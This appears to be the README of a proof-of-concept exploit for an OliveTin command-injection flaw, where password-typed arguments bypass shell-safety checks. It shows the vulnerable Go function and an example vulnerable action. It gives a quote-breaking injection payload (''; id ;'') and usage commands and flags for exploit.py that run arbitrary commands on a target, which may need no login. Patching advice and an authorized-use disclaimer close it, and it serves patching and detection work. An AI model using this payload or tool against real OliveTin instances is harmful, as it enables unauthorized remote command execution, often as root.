
OliveTin lets an admin define "actions": shell commands with parameterized arguments that users can trigger from a web UI or API. Before templating a user-supplied value into the shell command, OliveTin is supposed to run it through checkShellArgumentSafety(). That function checks four argument types: string, int, bool, choice. It skips password entirely and returns true, meaning "safe," without looking at the value at all.
So if an action has a password-typed argument, and that argument gets substituted into a shell command string, you can put anything in it. Semicolons, backticks, $(), whatever. If the argument is wrapped in quotes in the underlying command (a common pattern for things like database passwords), breaking out of the quote is enough.
func checkShellArgumentSafety(argType string, value string) bool {
dangerousTypes := []string{"string", "int", "bool", "choice"}
for _, dt := range dangerousTypes {
if argType == dt {
return sanitizeInput(value)
}
}
// password type falls through here, unchecked
return true
}
Affects OliveTin up through 3000.10.0. Fixed in the 3000.11.1 line (commit 0.0.0-20260222101908-4bbd2eab1532), which adds password to the checked types. Advisory: GHSA-49gm-hh7w-wfvf. CVSS 9.9.
Anything where a password-typed argument ends up inside a shell string, usually quoted:
- title: Backup database
id: backup_db
shell: "mysqldump -u {{ db_user }} -p'{{ db_pass }}' {{ db_name }} > /tmp/backup.sql"
arguments:
- name: db_user
type: ascii_identifier
- name: db_pass
type: password
- name: db_name
type: ascii_identifier
db_pass sits inside single quotes with nothing checking it. Send '; id ;' as the value and OliveTin runs id before the malformed mysqldump call fails. The failure doesn't matter; the injected command already ran, as whatever user OliveTin runs as. On a lot of setups that's root, because people run it under systemd without a User= line and don't think about it again.
You don't need credentials for any of this if the instance has authRequireGuestsToLogin: false set, which is common on smaller or hobbyist deployments.
pip install requests
python3 exploit.py -u <target> --action backup_db --arg db_pass -x "id"
If the action needs other arguments to run without erroring out before your injected command executes, pass them with --extra-arg:
python3 exploit.py -u 10.0.0.5 --action backup_db --arg db_pass \
--extra-arg db_user=admin --extra-arg db_name=prod -x "whoami"
The script POSTs to StartAction, waits two seconds, then polls ExecutionStatus and prints whatever came back. You'll usually see your injected command's output sitting above an error from the legitimate command that ran afterward and failed. That's expected. The error is cosmetic; your command already ran.
Update OliveTin past 3000.10.0. If you can't yet: pull any password-typed arguments off actions that untrusted users can reach, turn off guest execution, and stop letting argument values get interpolated into shell strings at all if you can help it. Pass secrets through environment variables or a file OliveTin reads at a fixed path instead. And don't run the service as root. There's no reason for a task runner to have that.
exploit.py: the PoC scriptREADME.md: this fileThis is here for people patching their own OliveTin instances, writing detections, or testing systems they're authorized to test. Don't point it at anything you don't own or don't have permission to touch. That's on you, not on whoever wrote this.
| flag | what it's for | default |
|---|
-u, --url | target host or IP | required |
-p, --port | OliveTin's port | 1337 |
--action | the vulnerable action's bindingId | required |
--arg | name of the password-typed argument | required |
-x, --cmd | command to inject | id |
--extra-arg | other arguments the action needs, name=value, repeatable | none |